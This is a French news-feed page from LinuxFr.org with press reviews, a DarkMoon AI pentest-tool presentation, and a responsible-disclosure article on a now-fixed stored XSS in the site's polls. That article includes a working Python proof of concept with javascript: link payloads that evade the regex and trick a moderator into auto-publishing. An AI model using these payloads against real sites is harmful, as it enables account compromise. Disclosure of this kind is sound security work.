Vue normale

Il y a de nouveaux articles disponibles, cliquez pour rafraîchir la page.
À partir d’avant-hierLinuxFr.org : les dépêches
  • ✇LinuxFr.org : les dépêches
  • 📰 Revue de presse — été 2026
    Il fait trop chaud pour laisser un ordinateur allumé chez vous, qui va forcément générer des degrés celsius supplémentaires. C'est le bon moment pour ouvrir un magazine papier. Voici donc l'édition estivale de notre petit panorama, forcément subjectif et parti{e,a}l, de la presse papier (et en ligne) disponible en ce milieu d'année. Et comme c'est l'été, on se permet de déborder un peu pour ne pas parler qu'informatique libre, mais aussi jeux… Voici donc les nouveautés des éditions Diamond so

📰 Revue de presse — été 2026

Par : Florent Zara
13 juillet 2026 à 15:13

Il fait trop chaud pour laisser un ordinateur allumé chez vous, qui va forcément générer des degrés celsius supplémentaires. C'est le bon moment pour ouvrir un magazine papier. Voici donc l'édition estivale de notre petit panorama, forcément subjectif et parti{e,a}l, de la presse papier (et en ligne) disponible en ce milieu d'année. Et comme c'est l'été, on se permet de déborder un peu pour ne pas parler qu'informatique libre, mais aussi jeux…

Image une de Journal

Voici donc les nouveautés des éditions Diamond sorties en ce début d'été et disponibles jusqu'à fin août, peu ou prou.

  • GNU/Linux Magazine France no 282 : du Deep Learning et du python pour détecter les constructions illégales sur des jeux de données IGN ;
  • SysOps Pratique no 156 fait tourner un LLM chez vous. Bref, #IA et #Souveraineté ;
  • MISC magazine no 146 vous propose une trilogie d'attaque sur Windows Defender ;
  • Hackable no 67 installe une surveillance vidéo dopée à l'IA, mais sans cloud ;
  • MISC hors-série no 36 pirate l'humain avec son dossier consacré à l'ingénierie sociale.

Auxquels nous ajoutons pour le plaisir le hors-série no19 Jeux de plateau de Canard PC car nous savons qu'une partie des LinuxFrisés est aussi amatrice de jeux de société. Leur dossier est consacré à la triche ! Vous aurez tout l'été pour peaufiner vos techniques pour détecter vos amis tricheurs !

Bonnes lectures !

Les sommaires des numéros de l'été 2026

Mosaïque des couvertures GLMF 282 Mosaïque des couvertures SOP 156 Mosaïque des couvertures MISC 146 Mosaïque des couvertures HK 67 Mosaïque des couvertures MISC HS 36
Mosaïque des couvertures Jeux de plateau HS 19  

GNU/Linux Magazine numéro 282

Au sommaire de ce numéro de juillet — août 2026 :

  • Quarkus par la pratique ;
  • (Re)Découvrons Ada ensemble !
  • Les codes fantastiques : vous ne passerez pas (deux fois) ;
  • Détectez les constructions illégales avec le Deep Learning sur des jeux de données IGN ;
  • L’horloge du Lapin Blanc : chroniques post-quantiques des signatures PDF ;
  • Démystifions la commande dc, 2e volet : étudions les macros.

SysOps Pratique numéro 156 (ex Linux Pratique)

Au sommaire de ce numéro de juillet — août 2026 :

  • Piloter la gestion des risques dans une organisation grâce à la méthode EBIOS ;
  • Cron en pratique : automatiser efficacement les tâches système ;
  • Avoir un LLM qui tourne sur site ;
  • Atuin : synchronisez votre historique shell entre toutes vos machines ;
  • Sécurisez votre accès Internet avec un routeur OpenWrt ;
  • Vers un cluster Kubernetes auto-résilient ;
  • L'Infra as a Conversation : reprenez le contrôle de Terraform avec Atlantis.

MISC Magazine numéro 146

Au sommaire de ce numéro de juillet — août 2026 :

  • BlueHammer, RedSun et UnDefend : la trilogie zero-day qui transforme Windows Defender en vecteur d'élévation ;
  • Top des chemins d’attaque vus en pentest ;
  • Exploiter un driver vulnérable Lenovo pour neutraliser n’importe quel EDR - CVE-2026-2640 ;
  • Schémas Android : des biais cognitifs au brute-force embarqué ;
  • De la collecte au parsing : KAPE comme accélérateur d’investigation Windows ;
  • Durcissement du boot Linux : TPM et OTP pour renforcer la sécurité du démarrage ;
  • Déployer d'abord, sécuriser jamais : l'IA entre productivité et chaos de sécurité.

Hackable numéro 67

Au sommaire de ce numéro de juillet — août 2026 :

  • Ethernet et ESP32 avec le tout nouveau ESP-IDF 6.0 : vers une sonde de surveillance réseau ;
  • Un cluster de Raspberry Pi Pico pour explorer le monde de la communication réseau ;
  • Construisez votre vidéosurveillance intelligente sans cloud ;
  • Une idée (presque) tordue pour le framework FPGA LiteX : le remote build ;
  • Les sondes JTAG du pauvre, ou comment configurer un FPGA sans se ruiner ;
  • Satellites météo : APT s’éteint, que devient le LRPT ?

MISC hors‑série numéro 36

Au sommaire de ce numéro hors-série de juin — juillet 2026 :

  • Sécuriser l’Espace : entretien avec Julien Airaud, Expert Senior en Cybersécurité Spatiale au CNES ;
  • Dossier : Le social engineering :
    • L’ingénierie sociale : de la théorie à la pratique ;
    • Votre cerveau a une 0-day : le système 3 et les angles morts de la défense cognitive ;
    • Approche sociologique sur l'épistémologie de l'ingénierie sociale et de l'OSINT ;
    • Manipulation des modèles comme surface d'attaque : terrain de jeu fertile pour la Red Team ?
    • Voir ne suffit plus à croire : comment rétablir la confiance dans le numérique ?
    • De l’ingénierie sociale à la guerre cognitive : influences et manipulations de l’information à grande échelle ;
    • L’influence au service de la souveraineté ;
    • Des statues qui pleurent aux voix clonées : 2000 ans d'arnaques identiques ;
  • Here be dragons, le risque humain comme enjeu stratégique.

Canard PC hors‑série Jeux sur un plateaux, numéro 19

Au sommaire de ce numéro hors-série de juillet — août 2026 :

  • Dossier : La triche
    • La triche à travers l´histoire ;
    • La triche est-elle inévitable ?
    • Les plus grands scandales de triche ;
    • Dans la tête des tricheurs ;
  • Tests :
    • Familiaux Panorama, L´encyclopédie des Monstres, First Giants, Bunny Kingdom Town…
    • Solo/Duo Leda, Ace of Spades ;
    • Party games Vroom, Hot Streak ;
    • Cartes The Last Wizard ;
    • Gestion Diktat, Heroes Write & Conquer, Star realms - Rise of Empire, Recall ;
    • Stratégie Feya´s Swamp, Night Soil, The Old King´s Crown ;
    • Dans les tuyaux Fragments - Solara ;
    • Extension Shackleton Base ;
    • Import Misfits ;
  • Les autres dossiers
    • Portrait : Fanelia ;
    • Modder ses jeux de plateau ;
    • Les dés pimpés ;
    • Le capitalisme dans les jeux ;
    • Le jeu peut-il faire voyager ?
    • Les jeux régressifs ;
  • Jeux de rôle
    • Tests: Drama Lamas, Voltige, Notre-Dame de Paris ;
    • Dans les tuyaux Triangle Agency ;
    • Le jeu de rôle à l´hôtel.

Commentaires : voir le flux Atom ouvrir dans le navigateur

  • ✇LinuxFr.org : les dépêches
  • 🪶 Les journaux LinuxFr.org les mieux notés de juin 2026
    LinuxFr.org propose des dépêches et articles, soumis par tout un chacun, puis revus et corrigés par l’équipe de modération avant publication. C’est la partie la plus visible de LinuxFr.org, ce sont les dépêches qui sont le plus lues et suivies, sur le site, via Atom/RSS, ou bien via partage par messagerie instantanée, par courriel, ou encore via médias sociaux. Ce que l’on sait moins, c’est que LinuxFr.org vous propose également de publier directement vos propres articles, sans validation a p

🪶 Les journaux LinuxFr.org les mieux notés de juin 2026

Par : Florent Zara
6 juillet 2026 à 11:10

LinuxFr.org propose des dépêches et articles, soumis par tout un chacun, puis revus et corrigés par l’équipe de modération avant publication. C’est la partie la plus visible de LinuxFr.org, ce sont les dépêches qui sont le plus lues et suivies, sur le site, via Atom/RSS, ou bien via partage par messagerie instantanée, par courriel, ou encore via médias sociaux.

Bannière LinuxFr.org

Ce que l’on sait moins, c’est que LinuxFr.org vous propose également de publier directement vos propres articles, sans validation a priori de lʼéquipe de modération. Ceux-ci s’appellent des journaux. Voici un florilège d’une dizaine de ces journaux parmi les mieux notés par les utilisateurs et les utilisatrices… qui notent. Lumière sur ceux du mois de juin passé.

Commentaires : voir le flux Atom ouvrir dans le navigateur

  • ✇LinuxFr.org : les dépêches
  • XSS sur le site linuxfr.org (pas très grave à mon avis)
    Ce titre est celui d’un courriel reçu le samedi 20 juin 2026 en fin de soirée. La France est alors au milieu de sa deuxième canicule de l’année, et moi en train de produire la dépêche De la fermeture des comptes inactifs depuis 3 ans que je pensais initialement en avance et qui était finalement en retard. Et donc recevoir un tel message n’annonçait rien de bien rafraîchissant. (Même si ça changeait des week-ends successifs d’annonces de failles de sécurité noyau à déployer plus ou moins en urge

XSS sur le site linuxfr.org (pas très grave à mon avis)

2 juillet 2026 à 23:05

Ce titre est celui d’un courriel reçu le samedi 20 juin 2026 en fin de soirée. La France est alors au milieu de sa deuxième canicule de l’année, et moi en train de produire la dépêche De la fermeture des comptes inactifs depuis 3 ans que je pensais initialement en avance et qui était finalement en retard.

Et donc recevoir un tel message n’annonçait rien de bien rafraîchissant. (Même si ça changeait des week-ends successifs d’annonces de failles de sécurité noyau à déployer plus ou moins en urgence)

Pourtant il s’agissait du signalement d’une faille réelle, fait de façon détaillée, claire et pédagogique. Ça change du bruit de fond habituel sur Internet avec son lot de tentatives diverses et variées d’injections chimériques mi-SQL mi-Javascript mi-PHP, et ses fameux audits de sécurité non-sollicités et délicieusement bourrins. Grand merci donc à 0xMitsurugi H pour avoir explicité le problème.

Sommaire

Le signalement

L’explication

(avec l’autorisation de l’auteur «  mon code et le rapport sont open source »)

Bonjour,

J’ai lu le code source de linuxfr.org et je me suis intéressé aux sondages.
J’ai l’impression que certains échappements HTML ne fonctionnent pas très bien.

Il est possible de bypasser la regexp dans les réponses du sondage et
injecter du javascript dans les réponses.

En soi, ce ne serait pas grave, car un sondage doit être validé par un admin
pour que les utilisateurs le voient.

L’astuce ici consiste à utiliser une réponse avec du js qui fera valider
automatiquement le sondage par un admin, et mettre un second javascript
dans une autre réponse destiné aux utilisateurs, une fois le sondage
validé, permettant la compromission de tous les utilisateurs qui vont
cliquer sur le sondage.

Voici le poc en python (inliné dans le mail car google fait des dingueries
avec les pièces jointes en python):
#!/usr/bin/env python3
r"""
PoC — XSS stockee via linkify dans les reponses de sondage linuxfr.org

Vecteur : href="javascript:..." active au clic
Bypass regex : tagged template ` func`arg` ` au lieu de func('arg')
  - document.querySelector`.ok_button`  au lieu de
document.querySelector('.ok_button')
  - form.submit``                      au lieu de form.submit()
  - alert`msg`                         au lieu de alert('msg')
  Aucune parenthese `)` n'apparait dans l'URL markdown, donc la regex
  \[([^\]]*)\]\(([^)]*)\) ne peut rien manger.

Contrainte : 128 caracteres max (PollAnswer)
  Phase 1 : 64 car. (form.submit pour auto-publication)
  Phase 2 : 54 car. (alert de preuve)

Deroulement :
  1. Attaquant cree un sondage avec les payloads XSS
  2. Moderateuur visite /moderation/sondages/ID et clique sur [a]
  3. La publication se fait sans boite de confirmation
  4. Les visiteurs cliquent sur [b] -> alerte JavaScript

Usage :
  python3 poc.py <url> <user_session>

  <url>            : racine du site (ex: http://dlfp.lo)
  <user_session>   : valeur du cookie linuxfr.org_session (compte standard)

Exemple :
  python3 poc.py http://dlfp.lo "user_session_value"

Prerequis :
  pip install requests
"""

import re
import sys
from urllib.parse import urljoin, urlparse

import requests


def e(msg: str, code: int = 1) -> None:
    print(f"[-] {msg}")
    sys.exit(code)


def s(msg: str) -> None:
    print(f"[+] {msg}")


def info(msg: str) -> None:
    print(f"[*] {msg}")


def banner() -> None:
    print("=" * 68)
    print("  PoC — XSS linkify -> Auto-validation + XSS proof")
    print("  Vecteur : tagged templates dans href (pas de ) necessaire)")
    print("  Cible : linuxfr.org")
    print("=" * 68)


def make_session(cookie_value: str, target_url: str) -> requests.Session:
    s = requests.Session()
    hostname = urlparse(target_url).hostname
    s.cookies.set("linuxfr.org_session", cookie_value, domain=hostname)
    return s


def create_poll(url: str, session: requests.Session,) -> tuple[str, str]:
    """
    Cree un sondage avec les reponses malveillantes.
    """

    # Réponse 1 : 64 car. — form.submit() via tagged template
    # document.querySelector`.ok_button`   => querySelector('.ok_button')
    # form.submit``                        => form.submit()
    payload_phase1 = (
        "[a]"
        "(javascript:document.querySelector"
        "`.ok_button`.form.submit``)"
    )

    # Réponse 2 : 54 car. — alert via tagged template
    payload_phase2 = (
        "[b]"
        "(javascript:alert"
        "`smile this is your favorite XSS`)"
    )

    info("Chargement du formulaire de creation...")
    r = session.get(urljoin(url, "/sondages/nouveau"))
    csrf = re.search(
        r'name="authenticity_token" value="([^"]*)"', r.text
    )
    csrf = csrf.group(1)

    info("Creation du sondage malveillant...")
    r = session.post(urljoin(url, "/sondages"), data={
        "authenticity_token": csrf,
        "poll[title]": "PoC XSS — tagged template",
        "poll[wiki_explanations]": (
            "Cliquez sur les liens ci-dessous !"
        ),
        "poll[cc_licensed]": "1",
        "poll[answers_attributes][0][answer]": payload_phase1,
        "poll[answers_attributes][1][answer]": payload_phase2,
    })

    if r.status_code not in (200, 302):
        e(f"Creation echouee (HTTP {r.status_code})")

    print("Connectez vous en tant qu'admin et cliquez sur la réponse A")


def main():
    banner()

    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <url> <user_session>")
        print()
        print("Exemple :")
        print(f'  {sys.argv[0]} http://dlfp.lo "SESSION_USER"')
        sys.exit(1)

    target_url = sys.argv[1].rstrip("/")
    user_session_val = sys.argv[2]

    user_session = make_session(user_session_val, target_url)

    # Creation du sondage malveillant
    print()
    info("Creation du sondage avec payloads XSS")
    create_poll(target_url, user_session)


if __name__ == "__main__":
    main()
Et je joins les copies d’écran dans l’ordre :-)

C’était sympa à trigger, je ne pensais pas arriver à quelque chose avec
l’autovalidation de l’admin pour publier le sondage. Bon, il faut quand
même l’interaction d’un admin (d’où le fait que ce n’est pas très grave),
j’ai essayé des trucs à base de onmouseover, mais je n’arrive à rien de
bien ce soir, il fait trop chaud.

Merci de gérer et maintenir le site linuxfr, j’ai appris beaucoup de choses
en le lisant, même si je ne suis qu’un simple lecteur :-)
Merci de fournir le code source sur github, ça m’a permis de debug en live
mes tests.

Bonne soirée

Et paf le PoC !

Les cinq images étaient en pièces jointes du signalement.

La démonstration à l’œuvre :

La démonstration à l’œuvre

En admin, le nouveau sondage dans la page des sondages :

Le nouveau sondage dans la page des sondages

En admin, cliquer sur un choix autovalide le sondage :

Cliquer sur un choix permet autovalide le sondage

Et sur le sondage publié, un clic d’un compte utilisateur :

Et sur le sondage publié, un clic

Paf la faille :

Paf la faille

Un peu de contexte

La faille signalée concerne le type de contenu sondages du site LinuxFr.org : un sondage est une question sur un thème donné ; le lectorat du site LinuxFr.org peut choisir parmi un ensemble de réponses proposées. (aide)

Une personne ayant un compte sur le site peut proposer un sondage (aide). Sa publication nécessite une approbation par l’équipe de modération (aide).

Un sondage est composé d’une partie question en Markdown. Et de (en général) plusieurs réponses dans un format exotique : c’est du texte brut, pas de mises en forme en italique/gras ou autre, sauf que les liens au format Markdown [oh un lien](https://une.adresse.invalid) sont possibles, depuis 2012. Ce code pour gérer du supposé texte brut mais acceptant des hyperliens Markdown, avec une expression rationnelle pour gérer, forcément ça annonçait un hypothétique problème à venir.

« Le cross-site scripting (abrégé XSS) est un type de faille de sécurité des sites web permettant d'injecter du contenu dans une page, provoquant ainsi des actions sur les navigateurs web visitant la page. » (Wikipedia) : ici on va glisser un sondage malveillant dans la base de données LinuxFr.org, une personne modératrice va aller le lire et déclencher involontairement la publication, qui devient alors visible par tout le monde, et chaque personne qui ira voter sur le sondage va déclencher un comportement non désiré. Bon en pratique, à ce moment là, ladite personne modératrice se rendrait alors compte du problème et dépublierait le sondage en catastrophe. Potentiellement trop tard pour quelques personnes du lectorat avides de sondages.

Une vraie faille

Bon si ça se trouve, la faille ne fonctionne pas, c’est facile de tester et de voir si on reproduit. Bon on reproduit…

En analysant le code et en testant, on voit qu’il y a plusieurs soucis :

  • on peut insérer en base de données des choses que l’on ne voudrait pas y voir ;
  • on peut afficher ce qu’on a trouvé en base en filtrant mal.

Donc on va ajouter un filtrage à la création sur les hyperliens pour ne laisser passer que les protocoles autorisés et que des adresses qui ressemblent à des adresses.

Et on va ajouter un filtrage à l’affichage / conversion en HTML pour n’afficher que des hyperliens, dans les protocoles autorisés et avec une adresse qui ressemble à une adresse.

Évidemment il y a la contrainte de ne pas casser le fonctionnel et les sondages déjà présents en base de données.

Donc on fait plein de tests un peu cracra :

tests un peu cracra

Et on produit un commit de correction (si tout va bien).

On a aussi vérifié le contenu existant de la base, au cas où.

Il ne restait plus qu’à remercier le contributeur et à convenir d’une publication en dépêche. Que voici.

Conclusion

Une contribution par une personne qui a lu le code source, qui a déployé le site, qui a écrit un bout de code pour illustrer l’exploitation de la faille de bout-en-bout, qui a littéralement illustré l’exploitation avec cinq images et qui a accompagné le tout d’une explication détaillée et en fournissant le code. Que demander de plus ? Encore merci.

Ah oui il faut une ouverture finale et tenir en haleine le lectorat : cette dépêche n'évoque pas la dernière faille signalée (ni même l'avant-dernière), et on n'est que douze jours après.

Commentaires : voir le flux Atom ouvrir dans le navigateur

  • ✇LinuxFr.org : les dépêches
  • DarkMoon : un moteur libre de pentest autonome avec agents IA, MCP et outillage conteneurisé
    DarkMoon est un projet libre de cybersécurité publié sous licence GNU GPLv3. Il propose un moteur de test d’intrusion automatisé, lancé en conteneur Docker, qui orchestre des outils de sécurité existants, des agents spécialisés et un modèle de langage configurable. Concrètement, l’utilisateur donne une cible autorisée. DarkMoon lance des étapes de reconnaissance, identifie des technologies exposées, choisit certains outils ou agents selon le contexte, puis produit des journaux et un rapport de

DarkMoon : un moteur libre de pentest autonome avec agents IA, MCP et outillage conteneurisé

DarkMoon est un projet libre de cybersécurité publié sous licence GNU GPLv3. Il propose un moteur de test d’intrusion automatisé, lancé en conteneur Docker, qui orchestre des outils de sécurité existants, des agents spécialisés et un modèle de langage configurable.

Concrètement, l’utilisateur donne une cible autorisée. DarkMoon lance des étapes de reconnaissance, identifie des technologies exposées, choisit certains outils ou agents selon le contexte, puis produit des journaux et un rapport de pentest en Markdown.

Logo DarkMoon

Le projet est récent. Le premier commit visible sur GitHub date de novembre 2025, le dépôt a été rendu public en mai 2026, et une première release a été publiée récemment. Au moment de la rédaction, les mainteneurs indiquent un peu plus de 500 clonages du dépôt et environ 1300 téléchargements des images Docker. Ces éléments donnent un premier signal d’usage, sans en faire pour autant un outil éprouvé en production.

Sommaire

Ce que fait DarkMoon

DarkMoon essaie de répondre à une question simple : peut-on automatiser une partie d’un pentest sans se limiter à lancer un scanner unique ?

Le fonctionnement attendu est le suivant :

  1. on fournit une cible autorisée ;
  2. le moteur lance des outils de reconnaissance ;
  3. il collecte des indices : ports, services, CMS, API, frameworks, chemins, en-têtes, comportements applicatifs ;
  4. il choisit les modules utiles selon ce qu’il observe ;
  5. il exécute les outils dans un conteneur ;
  6. il conserve les journaux ;
  7. il génère un rapport Markdown.

Un projet libre orienté sécurité offensive contrôlée

DarkMoon est publié sous licence libre GNU GPLv3. Le dépôt GitHub contient les scripts d’installation, l’orchestration Docker, les composants de l’outil, les configurations et la documentation associée.

Le projet n’a pas vocation à remplacer l’expertise humaine d’un pentester. Il vise plutôt à automatiser des tâches répétitives, à aider à la corrélation des résultats, et à produire des sorties plus facilement exploitables. Dans un audit réel, l’interprétation, la validation des constats, la priorisation et le respect du cadre légal restent des responsabilités humaines.

L’usage prévu est strictement limité aux environnements autorisés: laboratoires, machines volontairement vulnérables, programmes de bug bounty, audits internes ou périmètres contractuels.

Architecture générale

DarkMoon repose sur trois blocs principaux :

  • un conteneur Docker qui fournit l’environnement d’exécution.
  • un lanceur darkmoon.sh pour démarrer les campagnes et suivre les journaux.
  • une logique d’orchestration qui choisit les outils ou agents à lancer selon les éléments détectés.

La séparation entre le modèle, le contrôle et l’exécution est importante. Le modèle peut proposer une stratégie, mais les actions passent par une couche de contrôle avant d’être exécutées dans le conteneur. Cela permet de garder une trace des actions et de limiter l’exécution directe sur l’hôte.

Installation

L’installation documentée repose sur Docker et Docker Compose. L’utilisateur clone le dépôt, rend les scripts exécutables, puis lance l’installation.

git clone https://github.com/ASCIT31/Dark-Moon.git
cd Dark-Moon
chmod +x install.sh darkmoon.sh
./install.sh

Le script prépare l’environnement, construit les images nécessaires et initialise les volumes. Une fois l’installation terminée, DarkMoon peut être lancé depuis la racine du dépôt.

./darkmoon.sh

Il est aussi possible de lancer directement une cible depuis la ligne de commande.

./darkmoon.sh "TARGET: http://172.19.0.3:3000"

Démarrage d'une évaluation DarkMoon depuis l'interface terminal

Choix du modèle de langage

DarkMoon ne force pas un fournisseur unique de LLM. Lors de l’installation, on peut configurer un fournisseur cloud comme OpenAI, Anthropic ou OpenRouter, mais aussi un modèle local via Ollama, llama.cpp ou une URL compatible avec l’API OpenAI.

C’est un point important pour un outil de sécurité. Selon le contexte, on peut préférer un modèle distant plus performant, ou un modèle local pour éviter d’envoyer des informations de cible, de journaux ou de résultats vers un service externe.

Configuration du fournisseur LLM : cloud, modèle local ou endpoint compatible OpenAI

Exemple de campagne

Une campagne DarkMoon commence par la définition d’un périmètre. La forme minimale consiste à fournir une cible :

./darkmoon.sh "TARGET: http://172.19.0.3:3000"

Une forme plus complète permet de préciser le programme, les cibles incluses, les exclusions, les familles de vulnérabilités à privilégier, le niveau de bruit acceptable et les règles d’engagement.

./darkmoon.sh "TARGET: https://app.example.org PROGRAM='Audit interne' TARGETS=*.example.org,API:https://api.example.org OUT=payments.example.org,10.0.0.0/8 FOCUS=sqli,rce,ssrf,idor EXCLUDE=brute-force NOISE=moderate FORMAT=standard RULES='POC only;no real user data'"

Après le lancement, l’outil fournit un identifiant de session. Les journaux peuvent ensuite être suivis avec:

./darkmoon.sh --log <session_id>

Commande de suivi des journaux d'une session DarkMoon

Démonstration sur OWASP Juice Shop

Une démonstration vidéo montre DarkMoon exécuté contre OWASP Juice Shop, une application volontairement vulnérable conçue pour l’apprentissage et les tests de sécurité applicative. Ce choix est important: il permet d’illustrer le fonctionnement du moteur sur une cible réaliste, mais explicitement prévue pour l’entraînement, sans viser un système tiers.

La vidéo présente le déroulement général d’une campagne: lancement depuis la ligne de commande, analyse de la cible, collecte de signaux techniques, sélection des actions à mener et production progressive d’observations exploitables. Elle permet aussi de mieux comprendre la logique d’orchestration: DarkMoon ne se limite pas à lancer un unique scanner, mais enchaîne plusieurs étapes selon ce qu’il découvre.

Lien de la démonstration : DarkMoon sur OWASP Juice Shop

L’intérêt de Juice Shop dans ce contexte est double. D’un côté, l’application contient de nombreuses familles de vulnérabilités web connues, ce qui permet de tester la capacité de détection et d’enchaînement du moteur. De l’autre, elle fournit un cadre légal et reproductible pour expérimenter l’outil, comparer les résultats et améliorer les agents sans exposer de service réel.

Détection et choix des actions

Le moteur commence par collecter des signaux techniques : ports ouverts, services exposés, technologies web, frameworks, CMS, API, en-têtes HTTP, chemins visibles ou comportements applicatifs.

Ces informations servent ensuite à choisir les actions suivantes. Une cible WordPress, une API GraphQL ou un environnement Kubernetes ne déclenchent pas les mêmes outils ni les mêmes agents.

Résumé du modèle d'environnement détecté par DarkMoon

Matrice de détection et sélection des agents DarkMoon

Outils intégrés

DarkMoon ne réécrit pas les outils de sécurité existants. Il les regroupe dans une image Docker et les appelle selon le contexte détecté.

Parmi les outils cités dans la documentation ou dans les articles qui présentent le projet, on trouve notamment Naabu, Masscan, Nuclei, ffuf, sqlmap, Arjun, wafw00f, Subfinder, Katana, Waybackurls, httpx, WPScan, CMSeeK, Hydra, dig, ainsi que des outils liés à BloodHound, Impacket, kubectl, Kubescape ou Kubeletctl.

Le point important n’est pas la liste exacte des outils, qui peut évoluer, mais la logique d’orchestration: détecter ce qui est pertinent, lancer l’outil adapté, lire la sortie, puis décider de l’étape suivante.

Journaux et rapport Markdown

Une campagne produit des journaux et des artefacts. L’utilisateur peut suivre l’exécution, consulter les étapes et récupérer les résultats dans les répertoires de sortie prévus.

Sortie de journal d'une campagne DarkMoon

DarkMoon génère aussi un rapport de pentest en Markdown. Ce choix est simple: le fichier est lisible dans un terminal, versionnable avec Git, relisible dans une forge, modifiable à la main et convertible ensuite en HTML ou en PDF.

Le rapport doit conserver le contexte de la campagne : cible, périmètre, hypothèses, commandes ou actions utiles, preuves collectées, vulnérabilités relevées, criticité, impact potentiel et pistes de correction.

Cadre d’usage et limites

DarkMoon est un outil offensif. Il doit être utilisé uniquement sur des systèmes pour lesquels l’utilisateur dispose d’une autorisation explicite: laboratoire local, machine volontairement vulnérable, programme de bug bounty, audit interne ou périmètre contractuel.

L’automatisation ne réduit pas les responsabilités de l’utilisateur: définir le périmètre, obtenir les autorisations, éviter les impacts de production et manipuler les données avec précaution.

Les limites sont celles de tout outil de pentest automatisé:

  • faux positifs possibles.
  • faux négatifs possibles.
  • dépendance aux outils appelés.
  • dépendance au modèle de langage choisi.
  • interprétation humaine nécessaire.
  • risque de bruit sur les systèmes testés.
  • nécessité de tester en environnement maîtrisé avant tout usage sérieux.

Un modèle peut proposer une action inutile, trop large ou mal adaptée au contexte. La couche de contrôle et les journaux sont donc utiles, mais ils ne dispensent pas d’une revue humaine.

Contribuer

Le projet est ouvert aux retours techniques. Les contributions les plus utiles concernent:

  • l’installation sur différentes distributions.
  • la documentation.
  • la reproductibilité des exemples.
  • la qualité des rapports Markdown.
  • la réduction des faux positifs.
  • l’ajout d’agents spécialisés.
  • la revue des scripts Docker et shell.
  • les garde-fous d’exécution.
  • les tests sur des laboratoires vulnérables.
  • les issues claires et reproductibles.

Les remarques sur la clarté du fonctionnement sont également bienvenues, surtout pour éviter de présenter l’outil comme plus mature qu’il ne l’est réellement.

Commentaires : voir le flux Atom ouvrir dans le navigateur

  • ✇LinuxFr.org : les dépêches
  • 📰 Revue de presse — mai 2026
    Troisième édition 2026 de notre petit panorama, forcément subjectif et parti{e,a}l, de la presse papier (et en ligne) disponible en ce début d'année. Voici donc les nouveautés des éditions Diamond sorties récemment et disponibles jusqu'à fin juin, peu ou prou (ne tardez pas pour le hors-série de MISC qui est sorti en avril). GNU/Linux Magazine France no 281 interagit en Python avec les API de Mistral et Anthropic pour créer son propre agent ; SysOps Pratique no 155 bloque les bots AI ave

📰 Revue de presse — mai 2026

Par : Florent Zara
26 mai 2026 à 15:54

Troisième édition 2026 de notre petit panorama, forcément subjectif et parti{e,a}l, de la presse papier (et en ligne) disponible en ce début d'année.

Image une de Journal

Voici donc les nouveautés des éditions Diamond sorties récemment et disponibles jusqu'à fin juin, peu ou prou (ne tardez pas pour le hors-série de MISC qui est sorti en avril).

  • GNU/Linux Magazine France no 281 interagit en Python avec les API de Mistral et Anthropic pour créer son propre agent ;
  • SysOps Pratique no 155 bloque les bots AI avec HAProxy et Anubis ;
  • MISC magazine no 145 sur penche sur la sécurité de K8s, quand le DNS de ce dernier trahit les ressources du cluster ;
  • Hackable no 66 régule le chauffage électrique pièce par pièce en DIY avec Tasmota et Domoticz ;
  • MISC hors-série no 35 est consacré à la gouvernance et la conformité cyber.

Bonnes lectures !

Les sommaires des numéros de mai 2026

Mosaïque des couvertures GLMF 281 Mosaïque des couvertures SOP 155 Mosaïque des couvertures MISC 145 Mosaïque des couvertures HK 66 Mosaïque des couvertures MISC HS 35
 

GNU/Linux Magazine numéro 281

Au sommaire de ce numéro de mai — juin 2026 :

  • Back to the « Vibe Coding »…
  • Persistance des données dans le cloud avec MongoDB et Python ;
  • Python et les API d’intelligence artificielle ;
  • Utiliser GitLab CI/CD pour vos projets OpenBSD ;
  • Programmation structurée contre GOTO : l’espace liminaire entre les vaches sphériques et les spaghettis ;
  • Les codes fantastiques : there is no try ;
  • Sécuriser React sans stress : CSP à la sauce Apache ;
  • De nouvelles façons de construire des labyrinthes.

SysOps Pratique numéro 155 (ex Linux Pratique)

Au sommaire de ce numéro de mai — juin 2026 :

  • De l’IA pour les Ops ?
  • Puppet / Ansible : le mouvement et la gravité ;
  • Démarrer ses machines à la demande ;
  • HAProxy + Anubis : pesez l’âme de vos requêtes web ;
  • Hackez votre usine logicielle : bâtissez un hub de sécurité autonome ;
  • S'entraîner au routage Linux avancé sur son laptop avec les VRF ;
  • Longhorn : une solution simple de stockage redondant pour votre cluster Kubernetes.

MISC Magazine numéro 145

Au sommaire de ce numéro de mai — juin 2026 :

  • Protégez vos chaînes d’approvisionnement logicielles : NPM en exemple ;
  • Un buffet de gadgets de désérialisation - Clojure CVE-2017-20189, CVE-2024-22871 et plus encore ;
  • Kubernetes : quand le DNS trahit les ressources du cluster ;
  • Surveillance IoT : utilisation de hooks libc pour la supervision ;
  • Contournement de détection basée sur les hooks d’appels système avec io_uring ;
  • OpenBSD : dévoiler son système de fichiers avec unveil(2) ;
  • Retour d’expérience d’un processus de traitement des non-conformités sécurité.

Hackable numéro 66

Au sommaire de ce numéro de mai — juin 2026 :

  • Zephyr 4.3 : un système d’exploitation temps réel qui a le vent en poupe ;
  • Créez votre indicateur connecté pour vos streams Twitch ;
  • Régulation du chauffage électrique pièce par pièce en DIY avec Tasmota et Domoticz ;
  • Mettez à jour à distance vos systèmes embarqués sous Buildroot avec SWUpdate ;
  • Émulons un périphérique PCI/PCIe dans QEMU ;
  • Utilisons une libNFC « locale » pour lire un tag RFID non supporté : ST SRT512.

MISC hors‑série numéro 35

Au sommaire de ce numéro hors-série d'avril - mai 2026 :

  • État des lieux et évolution de la fraude : entretien avec Jonathan Spedale, analyste/enquêteur ;
  • Dossier sur la Gouvernance :
    • Point à l’AN 1 sur DORA : premiers audits et retours d’expérience terrain ;
    • Mettre en place un programme de formation cyber : de la stratégie à la culture ;
    • De l’insoutenable utilité des simulations de phishing ;
    • Sécurité de la chaîne d’approvisionnement numérique ;
    • Implémentation réussie ISO 27001 et SOC2 Type II : les leçons pratiques et actionnables ;
    • KP… Aïe ! Mode d’emploi des indicateurs de performance CSIRT/CERT ;
  • Plan de réponse à incident : le cas du ransomware.

Commentaires : voir le flux Atom ouvrir dans le navigateur

Orbitiny, un bureau Linux portable qui se lance comme une appli et qui n’a rien demandé à personne

Orbitiny est un bureau Linux portable qui se lance comme une appli et qui ne joue pas dans la même catégorie.

Un bureau qui tourne au-dessus d’un autre, et ce n’est pas une blague

